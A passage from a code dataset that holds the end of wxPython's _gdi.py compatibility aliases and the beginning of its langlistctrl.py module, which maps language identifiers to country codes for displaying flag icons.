wx._gdi.LANGUAGE_SERBO_CROATIAN\nwxLANGUAGE_SESOTHO = wx._gdi.LANGUAGE_SESOTHO\nwxLANGUAGE_SETSWANA = wx._gdi.LANGUAGE_SETSWANA\nwxLANGUAGE_SHONA = wx._gdi.LANGUAGE_SHONA\nwxLANGUAGE_SINDHI = wx._gdi.LANGUAGE_SINDHI\nwxLANGUAGE_SINHALESE = wx._gdi.LANGUAGE_SINHALESE\nwxLANGUAGE_SISWATI = wx._gdi.LANGUAGE_SISWATI\nwxLANGUAGE_SLOVAK = wx._gdi.LANGUAGE_SLOVAK\nwxLANGUAGE_SLOVENIAN = wx._gdi.LANGUAGE_SLOVENIAN\nwxLANGUAGE_SOMALI = wx._gdi.LANGUAGE_SOMALI\nwxLANGUAGE_SPANISH = wx._gdi.LANGUAGE_SPANISH\nwxLANGUAGE_SPANISH_ARGENTINA = wx._gdi.LANGUAGE_SPANISH_ARGENTINA\nwxLANGUAGE_SPANISH_BOLIVIA = wx._gdi.LANGUAGE_SPANISH_BOLIVIA\nwxLANGUAGE_SPANISH_CHILE = wx._gdi.LANGUAGE_SPANISH_CHILE\nwxLANGUAGE_SPANISH_COLOMBIA = wx._gdi.LANGUAGE_SPANISH_COLOMBIA\nwxLANGUAGE_SPANISH_COSTA_RICA = wx._gdi.LANGUAGE_SPANISH_COSTA_RICA\nwxLANGUAGE_SPANISH_DOMINICAN_REPUBLIC = wx._gdi.LANGUAGE_SPANISH_DOMINICAN_REPUBLIC\nwxLANGUAGE_SPANISH_ECUADOR = wx._gdi.LANGUAGE_SPANISH_ECUADOR\nwxLANGUAGE_SPANISH_EL_SALVADOR = wx._gdi.LANGUAGE_SPANISH_EL_SALVADOR\nwxLANGUAGE_SPANISH_GUATEMALA = wx._gdi.LANGUAGE_SPANISH_GUATEMALA\nwxLANGUAGE_SPANISH_HONDURAS = wx._gdi.LANGUAGE_SPANISH_HONDURAS\nwxLANGUAGE_SPANISH_MEXICAN = wx._gdi.LANGUAGE_SPANISH_MEXICAN\nwxLANGUAGE_SPANISH_MODERN = wx._gdi.LANGUAGE_SPANISH_MODERN\nwxLANGUAGE_SPANISH_NICARAGUA = wx._gdi.LANGUAGE_SPANISH_NICARAGUA\nwxLANGUAGE_SPANISH_PANAMA = wx._gdi.LANGUAGE_SPANISH_PANAMA\nwxLANGUAGE_SPANISH_PARAGUAY = wx._gdi.LANGUAGE_SPANISH_PARAGUAY\nwxLANGUAGE_SPANISH_PERU = wx._gdi.LANGUAGE_SPANISH_PERU\nwxLANGUAGE_SPANISH_PUERTO_RICO = wx._gdi.LANGUAGE_SPANISH_PUERTO_RICO\nwxLANGUAGE_SPANISH_URUGUAY = wx._gdi.LANGUAGE_SPANISH_URUGUAY\nwxLANGUAGE_SPANISH_US = wx._gdi.LANGUAGE_SPANISH_US\nwxLANGUAGE_SPANISH_VENEZUELA = wx._gdi.LANGUAGE_SPANISH_VENEZUELA\nwxLANGUAGE_SUNDANESE = wx._gdi.LANGUAGE_SUNDANESE\nwxLANGUAGE_SWAHILI = wx._gdi.LANGUAGE_SWAHILI\nwxLANGUAGE_SWEDISH = wx._gdi.LANGUAGE_SWEDISH\nwxLANGUAGE_SWEDISH_FINLAND = wx._gdi.LANGUAGE_SWEDISH_FINLAND\nwxLANGUAGE_TAGALOG = wx._gdi.LANGUAGE_TAGALOG\nwxLANGUAGE_TAJIK = wx._gdi.LANGUAGE_TAJIK\nwxLANGUAGE_TAMIL = wx._gdi.LANGUAGE_TAMIL\nwxLANGUAGE_TATAR = wx._gdi.LANGUAGE_TATAR\nwxLANGUAGE_TELUGU = wx._gdi.LANGUAGE_TELUGU\nwxLANGUAGE_THAI = wx._gdi.LANGUAGE_THAI\nwxLANGUAGE_TIBETAN = wx._gdi.LANGUAGE_TIBETAN\nwxLANGUAGE_TIGRINYA = wx._gdi.LANGUAGE_TIGRINYA\nwxLANGUAGE_TONGA = wx._gdi.LANGUAGE_TONGA\nwxLANGUAGE_TSONGA = wx._gdi.LANGUAGE_TSONGA\nwxLANGUAGE_TURKISH = wx._gdi.LANGUAGE_TURKISH\nwxLANGUAGE_TURKMEN = wx._gdi.LANGUAGE_TURKMEN\nwxLANGUAGE_TWI = wx._gdi.LANGUAGE_TWI\nwxLANGUAGE_UIGHUR = wx._gdi.LANGUAGE_UIGHUR\nwxLANGUAGE_UKRAINIAN = wx._gdi.LANGUAGE_UKRAINIAN\nwxLANGUAGE_URDU = wx._gdi.LANGUAGE_URDU\nwxLANGUAGE_URDU_INDIA = wx._gdi.LANGUAGE_URDU_INDIA\nwxLANGUAGE_URDU_PAKISTAN = wx._gdi.LANGUAGE_URDU_PAKISTAN\nwxLANGUAGE_UZBEK = wx._gdi.LANGUAGE_UZBEK\nwxLANGUAGE_UZBEK_CYRILLIC = wx._gdi.LANGUAGE_UZBEK_CYRILLIC\nwxLANGUAGE_UZBEK_LATIN = wx._gdi.LANGUAGE_UZBEK_LATIN\nwxLANGUAGE_VIETNAMESE = wx._gdi.LANGUAGE_VIETNAMESE\nwxLANGUAGE_VOLAPUK = wx._gdi.LANGUAGE_VOLAPUK\nwxLANGUAGE_WELSH = wx._gdi.LANGUAGE_WELSH\nwxLANGUAGE_WOLOF = wx._gdi.LANGUAGE_WOLOF\nwxLANGUAGE_XHOSA = wx._gdi.LANGUAGE_XHOSA\nwxLANGUAGE_YIDDISH = wx._gdi.LANGUAGE_YIDDISH\nwxLANGUAGE_YORUBA = wx._gdi.LANGUAGE_YORUBA\nwxLANGUAGE_ZHUANG = wx._gdi.LANGUAGE_ZHUANG\nwxLANGUAGE_ZULU = wx._gdi.LANGUAGE_ZULU\nwxLANGUAGE_USER_DEFINED = wx._gdi.LANGUAGE_USER_DEFINED\nwxLanguageInfo = wx._gdi.LanguageInfo\nwxLOCALE_CAT_NUMBER = wx._gdi.LOCALE_CAT_NUMBER\nwxLOCALE_CAT_DATE = wx._gdi.LOCALE_CAT_DATE\nwxLOCALE_CAT_MONEY = wx._gdi.LOCALE_CAT_MONEY\nwxLOCALE_CAT_MAX = wx._gdi.LOCALE_CAT_MAX\nwxLOCALE_THOUSANDS_SEP = wx._gdi.LOCALE_THOUSANDS_SEP\nwxLOCALE_DECIMAL_POINT = wx._gdi.LOCALE_DECIMAL_POINT\nwxLOCALE_LOAD_DEFAULT = wx._gdi.LOCALE_LOAD_DEFAULT\nwxLOCALE_CONV_ENCODING = wx._gdi.LOCALE_CONV_ENCODING\nwxLocale = wx._gdi.Locale\nwxLocale_GetSystemLanguage = wx._gdi.Locale_GetSystemLanguage\nwxLocale_GetSystemEncoding = wx._gdi.Locale_GetSystemEncoding\nwxLocale_GetSystemEncodingName = wx._gdi.Locale_GetSystemEncodingName\nwxLocale_AddCatalogLookupPathPrefix = wx._gdi.Locale_AddCatalogLookupPathPrefix\nwxLocale_GetLanguageInfo = wx._gdi.Locale_GetLanguageInfo\nwxLocale_GetLanguageName = wx._gdi.Locale_GetLanguageName\nwxLocale_FindLanguageInfo = wx._gdi.Locale_FindLanguageInfo\nwxLocale_AddLanguage = wx._gdi.Locale_AddLanguage\nwxGetLocale = wx._gdi.GetLocale\nwxGetTranslation = wx._gdi.GetTranslation\nwxGetTranslation = wx._gdi.GetTranslation\nwxCONVERT_STRICT = wx._gdi.CONVERT_STRICT\nwxCONVERT_SUBSTITUTE = wx._gdi.CONVERT_SUBSTITUTE\nwxPLATFORM_CURRENT = wx._gdi.PLATFORM_CURRENT\nwxPLATFORM_UNIX = wx._gdi.PLATFORM_UNIX\nwxPLATFORM_WINDOWS = wx._gdi.PLATFORM_WINDOWS\nwxPLATFORM_OS2 = wx._gdi.PLATFORM_OS2\nwxPLATFORM_MAC = wx._gdi.PLATFORM_MAC\nwxEncodingConverter = wx._gdi.EncodingConverter\nwxEncodingConverter_GetPlatformEquivalents = wx._gdi.EncodingConverter_GetPlatformEquivalents\nwxEncodingConverter_GetAllEquivalents = wx._gdi.EncodingConverter_GetAllEquivalents\nwxEncodingConverter_CanConvert = wx._gdi.EncodingConverter_CanConvert\nwxDC = wx._gdi.DC\nwxMemoryDC = wx._gdi.MemoryDC\nwxMemoryDCFromDC = wx._gdi.MemoryDCFromDC\nwxBUFFER_VIRTUAL_AREA = wx._gdi.BUFFER_VIRTUAL_AREA\nwxBUFFER_CLIENT_AREA = wx._gdi.BUFFER_CLIENT_AREA\nwxBufferedDC = wx._gdi.BufferedDC\nwxBufferedPaintDC = wx._gdi.BufferedPaintDC\nwxScreenDC = wx._gdi.ScreenDC\nwxClientDC = wx._gdi.ClientDC\nwxPaintDC = wx._gdi.PaintDC\nwxWindowDC = wx._gdi.WindowDC\nwxMirrorDC = wx._gdi.MirrorDC\nwxPostScriptDC = wx._gdi.PostScriptDC\nwxPostScriptDC_SetResolution = wx._gdi.PostScriptDC_SetResolution\nwxPostScriptDC_GetResolution = wx._gdi.PostScriptDC_GetResolution\nwxMetaFile = wx._gdi.MetaFile\nwxMetaFileDC = wx._gdi.MetaFileDC\nwxPrinterDC = wx._gdi.PrinterDC\nwxIMAGELIST_DRAW_NORMAL = wx._gdi.IMAGELIST_DRAW_NORMAL\nwxIMAGELIST_DRAW_TRANSPARENT = wx._gdi.IMAGELIST_DRAW_TRANSPARENT\nwxIMAGELIST_DRAW_SELECTED = wx._gdi.IMAGELIST_DRAW_SELECTED\nwxIMAGELIST_DRAW_FOCUSED = wx._gdi.IMAGELIST_DRAW_FOCUSED\nwxIMAGE_LIST_NORMAL = wx._gdi.IMAGE_LIST_NORMAL\nwxIMAGE_LIST_SMALL = wx._gdi.IMAGE_LIST_SMALL\nwxIMAGE_LIST_STATE = wx._gdi.IMAGE_LIST_STATE\nwxImageList = wx._gdi.ImageList\nwxStockGDI = wx._gdi.StockGDI\nwxStockGDI_DeleteAll = wx._gdi.StockGDI_DeleteAll\nwxStockGDI_instance = wx._gdi.StockGDI_instance\nwxStockGDI_GetBrush = wx._gdi.StockGDI_GetBrush\nwxStockGDI_GetColour = wx._gdi.StockGDI_GetColour\nwxStockGDI_GetCursor = wx._gdi.StockGDI_GetCursor\nwxStockGDI_GetPen = wx._gdi.StockGDI_GetPen\nwxNullBitmap = wx._gdi.NullBitmap\nwxNullIcon = wx._gdi.NullIcon\nwxNullCursor = wx._gdi.NullCursor\nwxNullPen = wx._gdi.NullPen\nwxNullBrush = wx._gdi.NullBrush\nwxNullPalette = wx._gdi.NullPalette\nwxNullFont = wx._gdi.NullFont\nwxNullColour = wx._gdi.NullColour\nwxGDIObjListBase = wx._gdi.GDIObjListBase\nwxPenList = wx._gdi.PenList\nwxBrushList = wx._gdi.BrushList\nwxFontList = wx._gdi.FontList\nwxColourDatabase = wx._gdi.ColourDatabase\n_wxPyInitTheFontList = wx._gdi._wxPyInitTheFontList\n_wxPyInitThePenList = wx._gdi._wxPyInitThePenList\n_wxPyInitTheBrushList = wx._gdi._wxPyInitTheBrushList\n_wxPyInitTheColourDatabase = wx._gdi._wxPyInitTheColourDatabase\nwxEffects = wx._gdi.Effects\nwxCONTROL_DISABLED = wx._gdi.CONTROL_DISABLED\nwxCONTROL_FOCUSED = wx._gdi.CONTROL_FOCUSED\nwxCONTROL_PRESSED = wx._gdi.CONTROL_PRESSED\nwxCONTROL_ISDEFAULT = wx._gdi.CONTROL_ISDEFAULT\nwxCONTROL_ISSUBMENU = wx._gdi.CONTROL_ISSUBMENU\nwxCONTROL_EXPANDED = wx._gdi.CONTROL_EXPANDED\nwxCONTROL_CURRENT = wx._gdi.CONTROL_CURRENT\nwxCONTROL_SELECTED = wx._gdi.CONTROL_SELECTED\nwxCONTROL_CHECKED = wx._gdi.CONTROL_CHECKED\nwxCONTROL_CHECKABLE = wx._gdi.CONTROL_CHECKABLE\nwxCONTROL_UNDETERMINED = wx._gdi.CONTROL_UNDETERMINED\nwxCONTROL_FLAGS_MASK = wx._gdi.CONTROL_FLAGS_MASK\nwxCONTROL_DIRTY = wx._gdi.CONTROL_DIRTY\nwxSplitterRenderParams = wx._gdi.SplitterRenderParams\nwxRendererVersion = wx._gdi.RendererVersion\nwxRendererVersion_IsCompatible = wx._gdi.RendererVersion_IsCompatible\nwxRendererNative = wx._gdi.RendererNative\nwxRendererNative_Get = wx._gdi.RendererNative_Get\nwxRendererNative_GetGeneric = wx._gdi.RendererNative_GetGeneric\nwxRendererNative_GetDefault = wx._gdi.RendererNative_GetDefault\nwxRendererNative_Set = wx._gdi.RendererNative_Set\nwxMaskColour = wx._gdi.MaskColour\nwxNORMAL_FONT = wx._gdi.NORMAL_FONT\nwxSMALL_FONT = wx._gdi.SMALL_FONT\nwxITALIC_FONT = wx._gdi.ITALIC_FONT\nwxSWISS_FONT = wx._gdi.SWISS_FONT\nwxRED_PEN = wx._gdi.RED_PEN\nwxCYAN_PEN = wx._gdi.CYAN_PEN\nwxGREEN_PEN = wx._gdi.GREEN_PEN\nwxBLACK_PEN = wx._gdi.BLACK_PEN\nwxWHITE_PEN = wx._gdi.WHITE_PEN\nwxTRANSPARENT_PEN = wx._gdi.TRANSPARENT_PEN\nwxBLACK_DASHED_PEN = wx._gdi.BLACK_DASHED_PEN\nwxGREY_PEN = wx._gdi.GREY_PEN\nwxMEDIUM_GREY_PEN = wx._gdi.MEDIUM_GREY_PEN\nwxLIGHT_GREY_PEN = wx._gdi.LIGHT_GREY_PEN\nwxBLUE_BRUSH = wx._gdi.BLUE_BRUSH\nwxGREEN_BRUSH = wx._gdi.GREEN_BRUSH\nwxWHITE_BRUSH = wx._gdi.WHITE_BRUSH\nwxBLACK_BRUSH = wx._gdi.BLACK_BRUSH\nwxTRANSPARENT_BRUSH = wx._gdi.TRANSPARENT_BRUSH\nwxCYAN_BRUSH = wx._gdi.CYAN_BRUSH\nwxRED_BRUSH = wx._gdi.RED_BRUSH\nwxGREY_BRUSH = wx._gdi.GREY_BRUSH\nwxMEDIUM_GREY_BRUSH = wx._gdi.MEDIUM_GREY_BRUSH\nwxLIGHT_GREY_BRUSH = wx._gdi.LIGHT_GREY_BRUSH\nwxBLACK = wx._gdi.BLACK\nwxWHITE = wx._gdi.WHITE\nwxRED = wx._gdi.RED\nwxBLUE = wx._gdi.BLUE\nwxGREEN = wx._gdi.GREEN\nwxCYAN = wx._gdi.CYAN\nwxLIGHT_GREY = wx._gdi.LIGHT_GREY\nwxSTANDARD_CURSOR = wx._gdi.STANDARD_CURSOR\nwxHOURGLASS_CURSOR = wx._gdi.HOURGLASS_CURSOR\nwxCROSS_CURSOR = wx._gdi.CROSS_CURSOR\nwxTheFontList = wx._gdi.TheFontList\nwxTheBrushList = wx._gdi.TheBrushList\nwxTheColourDatabase = wx._gdi.TheColourDatabase\n\n\n", "id": "6048260", "language": "Python", "matching_score": 6.802207946777344, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/_gdi.py" }, { "content": "#-----------------------------------------------------------------------------\n# Name: languagectrls.py\n# Purpose: \n#\n# Author: <NAME>\n#\n# Created: 2006\n# RCS-ID: $Id: langlistctrl.py 43868 2006-12-08 23:46:22Z RD $\n# Copyright: (c) 2006 <NAME>\n# License: wxPython\n#-----------------------------------------------------------------------------\n\"\"\" ListCtrl and functions to display languages and the flags of their countries\n\"\"\"\nimport wx\n\nfrom wx.lib.art import flagart\n\nlangIdCountryMap = {\n # generated from wx.Locale info and locale.windows_locale\n wx.LANGUAGE_AFRIKAANS: 'ZA',\n wx.LANGUAGE_ALBANIAN: 'AL',\n wx.LANGUAGE_ARABIC_ALGERIA: 'DZ',\n wx.LANGUAGE_ARABIC_BAHRAIN: 'BH',\n wx.LANGUAGE_ARABIC_EGYPT: 'EG',\n wx.LANGUAGE_ARABIC_IRAQ: 'IQ',\n wx.LANGUAGE_ARABIC_JORDAN: 'JO',\n wx.LANGUAGE_ARABIC_KUWAIT: 'KW',\n wx.LANGUAGE_ARABIC_LEBANON: 'LB',\n wx.LANGUAGE_ARABIC_LIBYA: 'LY',\n wx.LANGUAGE_ARABIC_MOROCCO: 'MA',\n wx.LANGUAGE_ARABIC_OMAN: 'OM',\n wx.LANGUAGE_ARABIC_QATAR: 'QA',\n wx.LANGUAGE_ARABIC_SAUDI_ARABIA: 'SA',\n wx.LANGUAGE_ARABIC_SUDAN: 'SD',\n wx.LANGUAGE_ARABIC_SYRIA: 'SY',\n wx.LANGUAGE_ARABIC_TUNISIA: 'TN',\n wx.LANGUAGE_ARABIC_UAE: 'AE',\n wx.LANGUAGE_ARABIC_YEMEN: 'YE',\n wx.LANGUAGE_ARMENIAN: 'AM',\n wx.LANGUAGE_AZERI: 'AZ',\n wx.LANGUAGE_AZERI_CYRILLIC: 'AZ',\n wx.LANGUAGE_AZERI_LATIN: 'AZ',\n wx.LANGUAGE_BASQUE: 'ES',\n wx.LANGUAGE_BELARUSIAN: 'BY',\n wx.LANGUAGE_BENGALI: 'IN',\n wx.LANGUAGE_BRETON: 'FR',\n wx.LANGUAGE_BULGARIAN: 'BG',\n wx.LANGUAGE_CATALAN: 'ES',\n wx.LANGUAGE_CHINESE: 'CN',\n wx.LANGUAGE_CHINESE_HONGKONG: 'HK',\n wx.LANGUAGE_CHINESE_MACAU: 'MO',\n wx.LANGUAGE_CHINESE_SIMPLIFIED: 'CN',\n wx.LANGUAGE_CHINESE_SINGAPORE: 'SG',\n wx.LANGUAGE_CHINESE_TAIWAN: 'TW',\n wx.LANGUAGE_CHINESE_TRADITIONAL: 'CN',\n wx.LANGUAGE_CROATIAN: 'HR',\n wx.LANGUAGE_CZECH: 'CZ',\n wx.LANGUAGE_DANISH: 'DK',\n# wx.LANGUAGE_DEFAULT: 'ZA',\n wx.LANGUAGE_DUTCH: 'NL',\n wx.LANGUAGE_DUTCH_BELGIAN: 'BE',\n wx.LANGUAGE_ENGLISH: 'GB',\n wx.LANGUAGE_ENGLISH_AUSTRALIA: 'AU',\n wx.LANGUAGE_ENGLISH_BELIZE: 'BZ',\n wx.LANGUAGE_ENGLISH_BOTSWANA: 'BW',\n wx.LANGUAGE_ENGLISH_CANADA: 'CA',\n wx.LANGUAGE_ENGLISH_CARIBBEAN: 'CB',\n wx.LANGUAGE_ENGLISH_DENMARK: 'DK',\n wx.LANGUAGE_ENGLISH_EIRE: 'IE',\n wx.LANGUAGE_ENGLISH_JAMAICA: 'JM',\n wx.LANGUAGE_ENGLISH_NEW_ZEALAND: 'NZ',\n wx.LANGUAGE_ENGLISH_PHILIPPINES: 'PH',\n wx.LANGUAGE_ENGLISH_SOUTH_AFRICA: 'ZA',\n wx.LANGUAGE_ENGLISH_TRINIDAD: 'TT',\n wx.LANGUAGE_ENGLISH_UK: 'GB',\n wx.LANGUAGE_ENGLISH_US: 'US',\n wx.LANGUAGE_ENGLISH_ZIMBABWE: 'ZW',\n wx.LANGUAGE_ESTONIAN: 'EE',\n wx.LANGUAGE_FAEROESE: 'FO',\n wx.LANGUAGE_FARSI: 'IR',\n wx.LANGUAGE_FINNISH: 'FI',\n wx.LANGUAGE_FRENCH: 'FR',\n wx.LANGUAGE_FRENCH_BELGIAN: 'BE',\n wx.LANGUAGE_FRENCH_CANADIAN: 'CA',\n wx.LANGUAGE_FRENCH_LUXEMBOURG: 'LU',\n wx.LANGUAGE_FRENCH_MONACO: 'MC',\n wx.LANGUAGE_FRENCH_SWISS: 'CH',\n wx.LANGUAGE_FRISIAN: 'NL',\n wx.LANGUAGE_GALICIAN: 'ES',\n wx.LANGUAGE_GEORGIAN: 'GE',\n wx.LANGUAGE_GERMAN: 'DE',\n wx.LANGUAGE_GERMAN_AUSTRIAN: 'AT',\n wx.LANGUAGE_GERMAN_BELGIUM: 'BE',\n wx.LANGUAGE_GERMAN_LIECHTENSTEIN: 'LI',\n wx.LANGUAGE_GERMAN_LUXEMBOURG: 'LU',\n wx.LANGUAGE_GERMAN_SWISS: 'CH',\n wx.LANGUAGE_GREEK: 'GR',\n wx.LANGUAGE_GREENLANDIC: 'GL',\n wx.LANGUAGE_GUJARATI: 'IN',\n wx.LANGUAGE_HEBREW: 'IL',\n wx.LANGUAGE_HINDI: 'IN',\n wx.LANGUAGE_HUNGARIAN: 'HU',\n wx.LANGUAGE_ICELANDIC: 'IS',\n wx.LANGUAGE_INDONESIAN: 'ID',\n wx.LANGUAGE_INUKTITUT: 'CA',\n wx.LANGUAGE_IRISH: 'IE',\n wx.LANGUAGE_ITALIAN: 'IT',\n wx.LANGUAGE_ITALIAN_SWISS: 'CH',\n wx.LANGUAGE_JAPANESE: 'JP',\n wx.LANGUAGE_KANNADA: 'IN',\n wx.LANGUAGE_KASHMIRI_INDIA: 'IN',\n wx.LANGUAGE_KAZAKH: 'KZ',\n wx.LANGUAGE_KERNEWEK: 'GB',\n wx.LANGUAGE_KIRGHIZ: 'KG',\n wx.LANGUAGE_KOREAN: 'KR',\n wx.LANGUAGE_LATVIAN: 'LV',\n wx.LANGUAGE_LITHUANIAN: 'LT',\n wx.LANGUAGE_MACEDONIAN: 'MK',\n wx.LANGUAGE_MALAY: 'MY',\n wx.LANGUAGE_MALAYALAM: 'IN',\n wx.LANGUAGE_MALAY_BRUNEI_DARUSSALAM: 'BN',\n wx.LANGUAGE_MALAY_MALAYSIA: 'MY',\n wx.LANGUAGE_MALTESE: 'MT',\n wx.LANGUAGE_MAORI: 'NZ',\n wx.LANGUAGE_MARATHI: 'IN',\n wx.LANGUAGE_MONGOLIAN: 'MN',\n wx.LANGUAGE_NEPALI: 'NP',\n wx.LANGUAGE_NEPALI_INDIA: 'IN',\n wx.LANGUAGE_NORWEGIAN_BOKMAL: 'NO',\n wx.LANGUAGE_NORWEGIAN_NYNORSK: 'NO',\n wx.LANGUAGE_OCCITAN: 'FR',\n wx.LANGUAGE_ORIYA: 'IN',\n wx.LANGUAGE_PASHTO: 'AF',\n wx.LANGUAGE_POLISH: 'PL',\n wx.LANGUAGE_PORTUGUESE: 'PT',\n wx.LANGUAGE_PORTUGUESE_BRAZILIAN: 'BR',\n wx.LANGUAGE_PUNJABI: 'IN',\n wx.LANGUAGE_RHAETO_ROMANCE: 'CH',\n wx.LANGUAGE_ROMANIAN: 'RO',\n wx.LANGUAGE_RUSSIAN: 'RU',\n wx.LANGUAGE_RUSSIAN_UKRAINE: 'UA',\n wx.LANGUAGE_SANSKRIT: 'IN',\n wx.LANGUAGE_SERBIAN_CYRILLIC: 'YU',\n wx.LANGUAGE_SERBIAN_LATIN: 'YU',\n wx.LANGUAGE_SETSWANA: 'ZA',\n wx.LANGUAGE_SLOVAK: 'SK',\n wx.LANGUAGE_SLOVENIAN: 'SI',\n wx.LANGUAGE_SPANISH: 'ES',\n wx.LANGUAGE_SPANISH_ARGENTINA: 'AR',\n wx.LANGUAGE_SPANISH_BOLIVIA: 'BO',\n wx.LANGUAGE_SPANISH_CHILE: 'CL',\n wx.LANGUAGE_SPANISH_COLOMBIA: 'CO',\n wx.LANGUAGE_SPANISH_COSTA_RICA: 'CR',\n wx.LANGUAGE_SPANISH_DOMINICAN_REPUBLIC: 'DO',\n wx.LANGUAGE_SPANISH_ECUADOR: 'EC',\n wx.LANGUAGE_SPANISH_EL_SALVADOR: 'SV',\n wx.LANGUAGE_SPANISH_GUATEMALA: 'GT',\n wx.LANGUAGE_SPANISH_HONDURAS: 'HN',\n wx.LANGUAGE_SPANISH_MEXICAN: 'MX',\n wx.LANGUAGE_SPANISH_MODERN: 'ES',\n wx.LANGUAGE_SPANISH_NICARAGUA: 'NI',\n wx.LANGUAGE_SPANISH_PANAMA: 'PA',\n wx.LANGUAGE_SPANISH_PARAGUAY: 'PY',\n wx.LANGUAGE_SPANISH_PERU: 'PE',\n wx.LANGUAGE_SPANISH_PUERTO_RICO: 'PR',\n wx.LANGUAGE_SPANISH_URUGUAY: 'UY',\n wx.LANGUAGE_SPANISH_US: 'US',\n wx.LANGUAGE_SPANISH_VENEZUELA: 'VE',\n wx.LANGUAGE_SWAHILI: 'KE',\n wx.LANGUAGE_SWEDISH: 'SE',\n wx.LANGUAGE_SWEDISH_FINLAND: 'FI',\n wx.LANGUAGE_TAGALOG: 'PH',\n wx.LANGUAGE_TAMIL: 'IN',\n wx.LANGUAGE_TATAR: 'RU',\n wx.LANGUAGE_TELUGU: 'IN',\n wx.LANGUAGE_THAI: 'TH',\n wx.LANGUAGE_TURKISH: 'TR',\n wx.LANGUAGE_UKRAINIAN: 'UA',\n wx.LANGUAGE_URDU: 'PK',\n wx.LANGUAGE_URDU_INDIA: 'IN',\n wx.LANGUAGE_URDU_PAKISTAN: 'PK',\n wx.LANGUAGE_UZBEK: 'UZ',\n wx.LANGUAGE_UZBEK_CYRILLIC: 'UZ',\n wx.LANGUAGE_UZBEK_LATIN: 'UZ',\n wx.LANGUAGE_VIETNAMESE: 'VN',\n wx.LANGUAGE_WELSH: 'GB',\n wx.LANGUAGE_XHOSA: 'ZA',\n wx.LANGUAGE_ZULU: 'ZA',\n # manually defined language/country mapping\n wx.LANGUAGE_ABKHAZIAN: 'GE',\n wx.LANGUAGE_AFAR: 'ET',\n wx.LANGUAGE_AMHARIC: 'ET',\n wx.LANGUAGE_ASSAMESE: 'IN',\n wx.LANGUAGE_AYMARA: 'BO',\n wx.LANGUAGE_ARABIC: 'SA', \n wx.LANGUAGE_BASHKIR: 'RU',\n wx.LANGUAGE_BHUTANI: 'BT',\n wx.LANGUAGE_BIHARI: 'IN',\n wx.LANGUAGE_BISLAMA: 'VU',\n wx.LANGUAGE_BURMESE: 'MM',\n wx.LANGUAGE_CAMBODIAN: 'KH',\n wx.LANGUAGE_CORSICAN: 'FR',\n wx.LANGUAGE_ESPERANTO: 'ESPERANTO',\n wx.LANGUAGE_FIJI: 'FJ',\n wx.LANGUAGE_GUARANI: 'PY',\n wx.LANGUAGE_HAUSA: 'NG',\n wx.LANGUAGE_INTERLINGUA: 'US', \n wx.LANGUAGE_INTERLINGUE: 'US',\n wx.LANGUAGE_INUPIAK: 'US',\n wx.LANGUAGE_JAVANESE: 'IN',\n wx.LANGUAGE_KASHMIRI: 'IN',\n wx.LANGUAGE_KINYARWANDA: 'RW',\n wx.LANGUAGE_KIRUNDI: 'BI',\n wx.LANGUAGE_KONKANI: 'IN',\n wx.LANGUAGE_KURDISH: 'IQ',\n wx.LANGUAGE_LAOTHIAN: 'LA',\n wx.LANGUAGE_LATIN: 'VA',\n wx.LANGUAGE_LINGALA: 'CD',\n wx.LANGUAGE_MALAGASY: 'MG',\n wx.LANGUAGE_MANIPURI: 'IN',\n wx.LANGUAGE_MOLDAVIAN: 'MD',\n wx.LANGUAGE_NAURU: 'NR',\n wx.LANGUAGE_OROMO: 'ET',\n wx.LANGUAGE_QUECHUA: 'BO',\n wx.LANGUAGE_SAMOAN: 'WS',\n wx.LANGUAGE_SANGHO: 'CF',\n wx.LANGUAGE_SCOTS_GAELIC: 'GB',\n wx.LANGUAGE_SERBO_CROATIAN: 'HR',\n wx.LANGUAGE_SESOTHO: 'ZA',\n wx.LANGUAGE_SHONA: 'ZW',\n wx.LANGUAGE_SINDHI: 'PK',\n wx.LANGUAGE_SINHALESE: 'IN',\n wx.LANGUAGE_SISWATI: 'SZ',\n wx.LANGUAGE_SOMALI: 'SB',\n wx.LANGUAGE_SUNDANESE: 'SD',\n wx.LANGUAGE_TAJIK: 'TJ',\n wx.LANGUAGE_TIBETAN: 'CN',\n wx.LANGUAGE_TIGRINYA: 'ET',\n wx.LANGUAGE_TONGA: 'TO',\n wx.LANGUAGE_TSONGA: 'MZ',\n wx.LANGUAGE_TURKMEN: 'TM',\n wx.LANGUAGE_TWI: 'GH',\n wx.LANGUAGE_UIGHUR: 'CN',\n wx.LANGUAGE_VOLAPUK: 'VOLAPUK',\n wx.LANGUAGE_WOLOF: 'SN',\n wx.LANGUAGE_YIDDISH: 'IL',\n wx.LANGUAGE_YORUBA: 'NG',\n wx.LANGUAGE_ZHUANG: 'CN',\n}\n\nLC_AVAILABLE, LC_ALL, LC_ONLY = 1, 2, 4\n\n\n# wx.LANGUAGE_SERBIAN gives an error for me\n_wxLangIds = [n for n in dir(wx) if n.startswith('LANGUAGE_')]\nfor _l in ('LANGUAGE_UNKNOWN', 'LANGUAGE_USER_DEFINED', 'LANGUAGE_SERBIAN'):\n if _l in _wxLangIds:\n _wxLangIds.remove(_l)\n\n\ndef CreateLanguagesResourceLists(filter=LC_AVAILABLE, only=()):\n \"\"\" Returns a tuple of (bitmaps, language descriptions, language ids) \"\"\"\n icons = wx.ImageList(16, 11)\n names = []\n langs = []\n\n langIdNameMap = BuildLanguageCountryMapping()\n\n wxLangIds = []\n for li in _wxLangIds:\n wxLI = getattr(wx, li)\n try:\n if (filter == LC_ONLY and wxLI in only) or \\\n (filter == LC_AVAILABLE and wx.Locale.IsAvailable(wxLI)) or \\\n (filter == LC_ALL):\n wxLangIds.append(wxLI)\n except wx.PyAssertionError: \n # invalid language assertions\n pass\n except AttributeError:\n # wx 2.6\n wxLangIds.append(wxLI)\n \n langCodes = [(langIdNameMap[wxLangId], wxLangId) \n for wxLangId in wxLangIds \n if wxLangId in langIdNameMap]\n \n for lc, wxli in langCodes:\n l, cnt = lc.split('_')\n \n if cnt in flagart.catalog:\n bmp = flagart.catalog[cnt].getBitmap()\n else:\n bmp = flagart.catalog['BLANK'].getBitmap()\n\n icons.Add(bmp)\n name = wx.Locale.GetLanguageName(wxli)\n if wxli == wx.LANGUAGE_DEFAULT:\n #print cnt, name, lc, wxli\n name = 'Default: '+name\n \n names.append(name)\n langs.append(wxli)\n \n return icons, names, langs\n\n\ndef GetLanguageFlag(lang):\n \"\"\" Returns a bitmap of the flag for the country of the language id \"\"\"\n langIdNameMap = BuildLanguageCountryMapping()\n if lang in langIdNameMap:\n cnt = langIdNameMap[lang].split('_')[1]\n if cnt in flagart.catalog:\n return 